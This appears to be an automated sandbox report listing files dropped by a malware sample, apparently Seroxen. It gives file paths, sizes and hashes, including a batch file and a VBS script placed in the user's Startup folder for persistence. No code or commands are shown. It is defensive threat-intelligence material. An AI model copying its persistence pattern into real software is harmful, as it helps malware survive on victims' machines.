- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpaxhpql.tea.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.dll
- Size 3KB
- SHA256 4f22cb6269fc5fa19e193637ec8d533561ea83a4a4f4562ee95ab99853603c9c
- MD5 d86093d0f44ab5593007b23a993b0c5f
- SHA1 31d3cd1f03eaea12eeff9dcaa124d3d8d5b0e343
- SHA512 8a0940c70efa9c9057bdf503dd6a19c5a2882eac8dacd417ae4401ec4197bd905d08337243361b71cfa6c63063380efb94ed2564129afef2ee3b976119dd0ef7
- TLSH T1D051DF2A63E9462BE4770B30AEF3032737F4F8149B73575D5980422D6C613548E31BB1
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat
- Size 10.1MB
- SHA256 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b
- MD5 3b93e29d6cf2813f5dd3c9ae380acc4f
- SHA1 98cf06eb797a3ad94dc9fb44ae758fcbab1e0c53
- SHA512 4b830a87f277816fb86de435787f7c7b6083d7bd9d8ad88f10086c9fc6a8a7c205145d7b2d23eddd91f7ef9d440684b3d3bfb96a66ca13d86dca86cef3b82a1e
- SSDEEP 49152:s6f3cj3cw0fch3L6wcNWcw0flyOoRCKzGKzXbCzsK+RXzodzXbCakBUAfVweb6TU:2
- TLSH T12BB6123E4E278D3F87BC23AC35BC0B8A79589A144376489E27A45DCE9FC770620D6C56
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs
- Size 659B
- SHA256 36cde62b12949933efc4fcbce738eade8a82dbf746c1ee60d4f2de795ec68370
- MD5 8049293460648d8208fbb5d4c2b6f501
- SHA1 20956e3a3fcb6f52167b79425676a01046b45b2d
- SHA512 2a33c280661176d1ff52d283cb548b5f93a69a8015858ec5d7c121ffd9355c483d71feaab29793863229403b221d19a23e52d9b90d67b83d08bbfd52e5c635ef
- TLSH T10801DD130B409B5CF9998DD098CF020F21F2C923796D0148A3F216A22C3F8E96230631
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\Logs\ReAgent\ReAgent.log
- Size 8KB
- SHA256 b342c0e180d06abd8acac4910911b2b5f2780d0b2de226400fad8c48260b5334
- MD5 04e54471123a035f688618f7e6853deb
- SHA1 0679924d5bb4d21486ce8a6257c0af5c08dc8e62
- SHA512 dd0d27f1d12b6ab1d308da2bda010c543de9f041df73684cda4e0178b35191031d507f8a4eb0799e30ed4f8599073c7c01a01652bdac2d4ac845b04a42b99f2c
- SSDEEP 96:iHAH5HAH5HcH2dRHaHPHAuHAMHQHvHAHxHAHAHaHAH4HkHFH+HZHqHxHgHvdFH10:4j3ycV6NgQN7
- TLSH T19802EC365DF24132E207E724B75A258ADAD3B1B45ACDB018F67DF04DBB0E31885DDA84
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Recovery\ReAgent.xml
- Size 1KB
- SHA256 0c33aa0bba1b0e8796f0f6366282ebdcb3d6327b0cb9a1711a118e3c039a9f49
- MD5 d77e0657bb7f7d7c94ad606095034e82
- SHA1 bd31a06816375ae8e3c090c16d374d076af3eac0
- SHA512 c537e5fff484474d474416fb63f7a783e5bba4774374cb8c26c455f5077a18205890fe8303899a18bbc514c7de36c798092919ce07fac918d6612484797fdc28
- TLSH T1B221064691B458B6D7B2D36AF0F8BD60463FF1DD02E08A1CE019F6D3944B462875F9B0
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\14f0nolz\14f0nolz.cmdline
- Size 369B
- SHA256 e63cc4d5b82cef93d888122598a65b5a01b543a687f872fbfb81c454828e89ad
- MD5 a211cdc887502238a3f51951ecdbbfc1
- SHA1 091957cccb19b61953813d71bf894a7e84a391fb
- SHA512 0d37a956d355782e4e270bfc279fd6051e50a9c96c5c42ddcff351ccdd86b2efea092125f97d5eb762f8bd139763aac65f1d0aaf8f1bceadef591b7fb25ab8fd
- TLSH T17EE0C03B5246C37E81DD200B2169E4ACDE7327432D533FC45042493DF21700027D6771
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\14f0nolz\CSCB82169074654D9DB7558BD604BC111.TMP
- Size 652B
- SHA256 949ae86483b84c70254d8e73004830aff233c7e66c7050cf484fbbca6edf41ba
- MD5 a035a1e747d3886914c92d7fe6b49f76
- SHA1 f1e7a7130547f804c149702ab89e3557a6400100
- SHA512 006fd38649feab28f97d4d1454f041fa005df5dd5c3e2673f0cfb1a6a2cbe78724c75d687de8bffaa5c69d20e00380d682133e28709f52acc56f69bbe4e3ebf9
- TLSH T1B9F05E0963F8020EF0F35B70BDF6836395BCBC65DE3293ED1480031928645209962FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\4o4ehs0u\4o4ehs0u.cmdline
- Size 369B
- SHA256 7759de7225c18ed150e03e2d3722a7f67b176067d54074b3196ad3aaf9989b96
- MD5 71f602566a62b0613bb7120aa6fd7291
- SHA1 d0b441ed77e881f68aa94ae52804070bd17d8fb4
- SHA512 d4c8d6379ef2f232d5b7634f09000117278ab2d18d64d9d462bd62e31cbe42588aa3cc04091974676d4fdffe65829222c0aaf6a3ea6c72d4920592c1782c23f8
- TLSH T195E0683E8356C67E11DD2017296BC4EC86760643395A3F845048482DE417C082BE3751
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\t3joqfcp\CSC3EFA9886F9454D79B7222448D35E71BA.TMP
- Size 652B
- SHA256 0a3a67964a93e9f80c4873eee1a1af0acf068f20e587afdf6d01ffa951fcb790
- MD5 49d5b4c7cb1abbd1f255a7994e42883f
- SHA1 86e68e4c535c1f98edd18d4e9fe61b6a4a14e360
- SHA512 ad416f16877bbf4988bee51729190b59e2ea9c98940ca99c8c23201c74f6e0ee987ccceb003d04ecbd3f705ba1463943707351c251706b8653a72a8a35ba267b
- TLSH T162F05E1963F8420EF4F74B30FEF643A395A8BC65DE3293ED1440031D2864A148972FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.0.cs
- Size 288B
- SHA256 62c2b6133462349fc7ad623131a0766bd52dcb2dfe33abdbd3967bdad039e0f1
- MD5 8622b31a0ede6db359cfe9013ffc3dad
- SHA1 08ddfa2208d030400da9750fd4c964cd4c670c82
- SHA512 ae58b41d31886e4bc3f7c477dea7485968015c4339a6777ba5ef019b8db1dc4111147f8ab15c1ce89896bf20f361ee223242bf6f5ee2dacbab282d10c5d0a551
- TLSH T12DD02B2477F7DE380093482A4C86E1BC7B37611B137A2F00BAF99300DFCB0095636AA9
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.cmdline
- Size 369B
- SHA256 9168eee9a8ce52b20d6d094fb310e5e8daa6db8e9878fddb793333bd3947bf01
- MD5 6e0af656425be35909dff8a2b92b8dfb
- SHA1 b0b9411cc7aae09f5b276030d572085fc854f86b
- SHA512 4725b78d35b26e7062328292246d811fb9afed053c2e6f8f90a06e5ce27ecaa2b9f22005606a8cd4fdd6c18c72dc6be7bf5f40234b59204d682d695724455e87
- TLSH T12BE0D82A92B7C67E25DD10072969E5BCD2F2064729417F88D150845DD02710567D1BD6
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\zpk0zj0p\zpk0zj0p.0.cs
- Size 284B
- SHA256 1394999d0d32ec04cbc8ef4da430d8518a56a38490647cce67a18bdeb40e45cc
- MD5 bb04688cc1fcb90518c60c18d5c74b43
- SHA1 c3ee261d84973d9cc3e9fd43dbaa26956d4ccd00
- SHA512 5943d6f1a995b7b8c55a77ae20dd406227f133406c452735a687cc193a29b2d2878ff548445c9cebcea08665690e82ccf5ee6aeaaea152f901498448a8ca81b9
- TLSH T1A0D02B24BBF7CB380093481A8C8EE1BCB733911E327E1E00B6FAA700DF470065276925
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\zpk0zj0p\zpk0zj0p.cmdline
- Size 369B
- SHA256 be87ce93fbc7bfe0a73d77206ebca739625d27b4f2988ff53fa37139ac91ace6
- MD5 f9feefe31ade50d8f3cd7d1d80a87da1
- SHA1 4d69538da52e08cd14471d51b8d3d95a77f999a7
- SHA512 a310c4ddd4d6ce0dbb09fde62318c155eace3b6c28fb2f87e4a3644f9a0b7b02e9b7fcfa4921deb1b3b6181700fde6c685938d2898a2206e29ab6f174d6d6550
- TLSH T110E0683E6A56C27D81D9101F21B9CAFCC2F306436DC13F84E041840DD21710067E1781
- MD5 SHA1 SHA512 TLSH